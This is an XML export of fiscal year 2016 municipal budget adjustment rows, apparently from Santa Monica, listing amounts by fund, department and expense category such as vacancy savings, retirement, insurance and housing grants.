<row _id="20890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>744</total></row>
<row _id="20891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="20892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2640</total></row>
<row _id="20893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="20894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-20342</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20342</total></row>
<row _id="20895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3533</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3533</total></row>
<row _id="20896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13951</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13951</total></row>
<row _id="20897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522330.0</object><object_description>INVENTORY ISSUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>108</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108</total></row>
<row _id="20899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>533670.0</object><object_description>IMAGING COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>405200.0</object><object_description>VIDEO PRODUCTION SERVICE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-16200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16200</total></row>
<row _id="20901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20328</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20328</total></row>
<row _id="20902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10909</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10909</total></row>
<row _id="20903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-73737</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-73737</total></row>
<row _id="20904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-15352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15352</total></row>
<row _id="20905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-23603</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-23603</total></row>
<row _id="20906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-28098</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28098</total></row>
<row _id="20907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-316085</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-316085</total></row>
<row _id="20908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-22708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22708</total></row>
<row _id="20909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571110.0</object><object_description>S+C HAP SUO2</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>85461</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>85461</total></row>
<row _id="20910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566810.0</object><object_description>TRANS &amp; USE TAX-SMMUSD ALLOCAT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8071125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8071125</total></row>
<row _id="20911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-23241</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-23241</total></row>
<row _id="20912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-30198</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30198</total></row>
<row _id="20913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21250</total></row>
<row _id="20914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-15940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15940</total></row>
<row _id="20915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21150</total></row>
<row _id="20916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3322</total></row>
<row _id="20917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6959</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6959</total></row>
<row _id="20918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>23659</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23659</total></row>
<row _id="20919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2957</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2957</total></row>
<row _id="20920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>377876</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>377876</total></row>
<row _id="20921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>510</total></row>
<row _id="20922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14862</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14862</total></row>
<row _id="20924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522530.0</object><object_description>PARKING OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522340.0</object><object_description>BUY LOCAL CAMPAIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20767</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20767</total></row>
<row _id="20926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="20927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562433.0</object><object_description>SHP-STEP UP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>87765</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87765</total></row>
<row _id="20928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2579</total></row>
<row _id="20929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569223.0</object><object_description>MORGAN-WIXSON THEATRE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>135001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>135001</total></row>
<row _id="20931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>369574</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>369574</total></row>
<row _id="20932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5429</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5429</total></row>
<row _id="20933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21000</total></row>
<row _id="20934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>979</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>979</total></row>
<row _id="20935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="20936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-1470740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1470740</total></row>
<row _id="20937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-194940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-194940</total></row>
<row _id="20938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-13646</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13646</total></row>
